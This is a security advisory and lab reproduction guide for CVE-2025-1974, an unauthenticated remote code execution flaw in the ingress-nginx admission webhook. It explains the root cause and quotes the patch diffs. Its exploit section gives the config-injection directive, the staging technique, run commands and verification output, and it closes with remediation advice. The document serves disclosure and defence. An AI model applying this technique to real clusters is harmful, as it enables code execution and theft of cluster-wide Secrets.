Skip to content

CVE-2025-1974 — ingress-nginx Admission Webhook Unauthenticated RCE

Published 2026-06-06

Critical severity — unauthenticated remote code execution

An attacker with access to the cluster pod network can execute arbitrary code inside the ingress-nginx controller process. No authentication or cluster credentials are required.

Field Value
Project ingress-nginx
Affected component Admission webhook (CheckIngress handler), NGINX config template
Severity CRITICAL
CVSS 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (v3.1)
CWE CWE-653
Affected versions < 1.11.5; >= 1.12.0-beta.0, < 1.12.1
Fixed version 1.11.5 (2025-03-25), 1.12.1 (2025-03-25)
Advisory GHSA-mgvx-rpfc-9mpv

1. Vulnerability overview

ingress-nginx is the most widely deployed Kubernetes ingress controller. In versions before 1.11.5 and 1.12.1, it exposes an admission webhook (a ValidatingWebhookConfiguration) that any pod-network peer can reach without credentials. This webhook is part of the "IngressNightmare" set of five related CVEs. CVE-2025-1974 is the critical one: an unauthenticated attacker can achieve arbitrary code execution inside the controller process. In default cluster configurations the controller holds read access to every Kubernetes Secret cluster-wide, so a successful exploit yields full cluster credential theft.

Root cause

The attack chains three weaknesses that together let a network-only attacker load an arbitrary shared library into the controller process.

Weakness 1 — unsandboxed nginx -t in the admission handler (internal/ingress/controller/controller.go, CheckIngress).

When a CREATE or UPDATE Ingress resource is submitted, the admission handler generates an NGINX config from the Ingress's annotations and calls nginx -t to validate it before any authentication check. A crafted AdmissionReview payload the handler accepts (with no credentials required) therefore causes the controller to run an NGINX config test on attacker-controlled configuration. The fix disables the call entirely:

// Before (vulnerable):
err = n.testTemplate(content)
if err != nil {
    n.metricCollector.IncCheckErrorCount(ing.ObjectMeta.Namespace, ing.Name)
    return err
}

// After (mitigated):
/* Deactivated to mitigate CVE-2025-1974
// TODO: Implement sandboxing so this test can be done safely
err = n.testTemplate(content)
if err != nil {
    n.metricCollector.IncCheckErrorCount(ing.ObjectMeta.Namespace, ing.Name)
    return err
}
*/

Weakness 2 — unquoted annotation values in the NGINX config template (rootfs/etc/nginx/template/nginx.tmpl).

Several Ingress annotation values were interpolated directly into the NGINX config template without quoting, so a newline character embedded in an annotation value can break out of the current config context and inject an arbitrary NGINX directive at the main context level. The vulnerable field used in this exploit is nginx.ingress.kubernetes.io/auth-tls-match-cn. The fix wraps the interpolated values with the quote filter:

-        if ( $ssl_client_s_dn !~ {{ $server.CertificateAuth.MatchCN }} ) {
+        if ( $ssl_client_s_dn !~ {{ $server.CertificateAuth.MatchCN | quote }} ) {

-            set $target {{ $externalAuth.URL }};
+            set $target {{ $externalAuth.URL | quote }};

-            mirror {{ $location.Mirror.Source }};
+            mirror {{ $location.Mirror.Source | quote }};

Weakness 3 — file descriptor staging via mismatched Content-Length.

NGINX's client_body_in_file_only on setting causes request bodies to be spooled to a temporary file on disk. By sending an HTTP body whose actual size is smaller than the declared Content-Length, an attacker keeps the socket (and the spooled file) open indefinitely. The file stays accessible at a predictable path inside the controller pod (/tmp/nginx/client-body/<N>), reachable from the NGINX config-test context via path traversal (../../../../tmp/nginx/client-body/<N>).

With all three weaknesses in play: the attacker pre-stages a malicious shared library (.so) in the controller's temporary storage via the held upload, then sends an AdmissionReview with the auth-tls-match-cn annotation set to inject ssl_engine ../../../../tmp/nginx/client-body/<N>; into the generated NGINX config. When the pre-authentication nginx -t runs, NGINX calls ENGINE_by_id on this path, dlopens the staged .so, and fires its constructor, executing arbitrary attacker code inside the controller process.


2. Vulnerable environment

The reproduction uses a local Kubernetes cluster created with kind (Kubernetes-in-Docker). kind provides a genuine multi-process Kubernetes control plane on the host's Docker, including real network concurrency between the held fd-staging upload and the AdmissionReview webhook call, which is the timing property the exploit depends on. No cloud subscription is needed.

Stack summary:

Component Role Version / Image
ingress-nginx controller Vulnerable target; serves both the HTTP ingress listener (used for fd-staging) and the admission webhook registry.k8s.io/ingress-nginx/controller:v1.11.4
stage-backend Benign upstream (stock nginx) so the stage.local ingress has a live endpoint and NGINX enters the body-read phase nginx:1.27.3-bookworm
kind control plane Kubernetes API server + cluster networking; backs the webhook kind cluster cve-2025-1974

The controller is exposed on the host at 127.0.0.1:8080 (HTTP ingress listener) and 127.0.0.1:8443 (admission webhook). The exploit client uses only these two endpoints; it holds no kubeconfig and no cluster credentials.

A pre-seeded Kubernetes Secret ingress-nginx/ingressnightmare-auth-ca (key ca.crt) acts as the render gate: ingress-nginx v1.11.4's authtls.Parse() resolves the auth-tls-secret annotation by calling getPemCertificate(), which requires the referenced secret to carry a ca.crt key. The MatchCN field (carrying the injected ssl_engine directive) is only rendered into the NGINX config when the secret resolves successfully. The attacker merely names this secret; it grants no credential.

Environment files are available as env.zip. Individual files:

Standing the environment up:

bash env/up.sh

Verifying the environment is the vulnerable one:

Run the smoke test:

bash env/smoke.sh

SMOKE OK confirms all four conditions:

  1. Controller is pinned to v1.11.4 and Ready.
  2. Admission webhook on 127.0.0.1:8443 returns HTTP 400 to an empty unauthenticated POST (the webhook is live).
  3. stage.local ingress returns HTTP 200 with a live backend endpoint (the HTTP listener is in the body-read phase, so fd-staging will spool bytes to disk).
  4. The ingress-nginx/ingressnightmare-auth-ca secret with key ca.crt is present (render gate is open).

For full chain adequacy, run:

bash env/positive-control.sh

This two-part probe verifies the timing and rendering conditions independently of the exploit:

  • Part A confirms that a held over-stated-Content-Length upload spools a client-body file to /tmp/nginx/client-body/<N> inside the controller pod, that the file remains resident while a concurrent webhook request is in flight, and that it is reachable from the NGINX config-test context via the ../../tmp/nginx/client-body/<N> traversal path.
  • Part B submits an AdmissionReview that injects a harmless sentinel directive (no attacker code loaded) through the same auth-tls-match-cn breakout path and asserts the webhook returns allowed:false with the sentinel named in the nginx -t error output, confirming the injected text reaches the NGINX config parser.

Both parts must return PASS before running the exploit.


3. How to exploit

Exploit files are available as exploit.zip. Individual files:

Steps

Step 1. Confirm the environment is ready.

bash env/smoke.sh
bash env/positive-control.sh

Both must pass before proceeding.

Step 2. Choose a fresh nonce and marker path.

The nonce is a per-attempt string chosen by the verifier. It is baked into the compiled .so constructor, so only code that successfully dlopend that exact shared library inside the controller can write it. The marker path must be writable by the controller process (uid 101 / www-data).

# Example (use a fresh value each attempt):
NONCE="verify-1780300425-11267"
MARKER_PATH="/tmp/${NONCE}"

Step 3. Run the exploit.

Run the exploit with KUBECONFIG unset to enforce the unauthenticated network-only actor constraint.

env -u KUBECONFIG bash exploit/run.sh verify-1780300425-11267 \
    /tmp/verify-1780300425-11267 ingress-nginx/ingressnightmare-auth-ca

The three arguments are:

  1. <NONCE> — the per-attempt string to write into the marker file.
  2. <MARKER_PATH> — the controller-pod-local path where the nonce will be written.
  3. <SECRET_REF> — the referenceable auth-tls-secret that opens the render gate. Use ingress-nginx/ingressnightmare-auth-ca exactly as pre-seeded by env/up.sh.

An optional fourth and fifth argument (N_MIN N_MAX) control the brute-force range for the client-body counter N (default 0 200).

What the exploit does internally:

  1. build_so.sh compiles engine.c inside an alpine:3.20 --platform linux/arm64 container (the controller runs musl/aarch64). The compiled shared library's __attribute__((constructor)) writes <NONCE> to <MARKER_PATH> on dlopen.
  2. run.py opens 6 concurrent HTTP uploads to http://127.0.0.1:8080 with Host: stage.local, sending the full .so body but declaring a larger Content-Length and holding the connections open for ~40 seconds. NGINX spools the body bytes to /tmp/nginx/client-body/<N> files inside the controller pod.
  3. run.py sweeps N from 0 to 200, posting an AdmissionReview for each candidate N. The auth-tls-match-cn annotation value breaks out of the NGINX config if block and injects ssl_engine ../../../../tmp/nginx/client-body/<N>; at the main context level. The pre-authentication nginx -t reaches the directive, calls ENGINE_by_id, and dlopens the file at that path. When N matches an active staged file, the constructor fires and writes the marker.

The exploit does not read the marker back. It exits 0 when all 201 candidate N values have had their AdmissionReview processed.

Step 4. Verify via the independent privileged channel.

The verifier reads the marker through a kubectl exec into the controller pod, a channel the exploit cannot reach because it runs with no kubeconfig.

KUBECONFIG=env/kubeconfig kubectl -n ingress-nginx exec \
  "$(KUBECONFIG=env/kubeconfig kubectl -n ingress-nginx get pod \
       -l app.kubernetes.io/component=controller \
       -o jsonpath='{.items[0].metadata.name}')" \
  -- cat /tmp/verify-1780300425-11267
KUBECONFIG=env/kubeconfig kubectl -n ingress-nginx exec \
  "$(KUBECONFIG=env/kubeconfig kubectl -n ingress-nginx get pod \
       -l app.kubernetes.io/component=controller \
       -o jsonpath='{.items[0].metadata.name}')" \
  -- stat -c 'uid=%u gid=%g owner=%U path=%n' /tmp/verify-1780300425-11267

What proved it worked

In the verified run, the marker file was absent before the exploit:

cat: can't open /tmp/verify-1780300425-11267: No such file or directory

After the exploit ran (network-only, KUBECONFIG unset), the verifier's kubectl exec read the file and found:

verify-1780300425-11267

The stat call confirmed:

uid=101 gid=82 owner=www-data path=/tmp/verify-1780300425-11267

The controller's own id returned uid=101(www-data). The file is owned by the controller process identity. The marker value matched the nonce chosen for this attempt (verify-1780300425-11267), which differs from the example nonce baked into the exploit source (verify-1780300131-13064), ruling out any hard-coded or replayed value. The marker was written solely by the .so constructor executing inside the controller during nginx -t, which is the exact code path that the 1.11.5 and 1.12.1 patches remove.

This observation is independent of the exploit. The exploit has no pod or node access, runs no kubectl, and cannot write to the controller's /tmp directly. The only path from the nonce to the marker file is through the vulnerable nginx -tENGINE_by_iddlopen → constructor chain.

Environment teardown

bash env/down.sh

Or equivalently:

env/bin/kind delete cluster --name cve-2025-1974

This deletes the kind cluster cve-2025-1974 and removes the generated env/ca/ material.


4. Security advice

Remediation

Upgrade to ingress-nginx 1.11.5 or 1.12.1, both released 2025-03-25. Patch commit e6716b13f237fb42a05117784fdee004e74fc801 (PRs #13069 and #13070 in kubernetes/ingress-nginx) addresses all five IngressNightmare CVEs in a single change. For CVE-2025-1974 specifically, it disables the pre-authentication nginx -t call in the admission handler and adds quoting for all annotation values that were interpolated unquoted into the NGINX config template.

If an immediate upgrade is not possible, restrict network access to the admission webhook service (port 8443) to the Kubernetes API server only, so that arbitrary pod-network peers cannot submit crafted AdmissionReview requests directly to the controller.

Mitigations

  • Restrict webhook reachability. The webhook (port 8443 on the controller service) should be reachable only from the API server, not from arbitrary pods. Enforce this with a Kubernetes NetworkPolicy limiting ingress to the controller's service port to the API server's address range.
  • Set --annotations-risk-level. Newer ingress-nginx versions support the --annotations-risk-level flag. Setting it to block unknown or high-risk annotations narrows the injection surface, though this flag is not a substitute for patching.
  • Minimize Secret access. In the default installation, the ingress-nginx controller can read all Secrets cluster-wide. Scoping its RBAC to only the namespaces it needs limits the blast radius if code execution is achieved.

References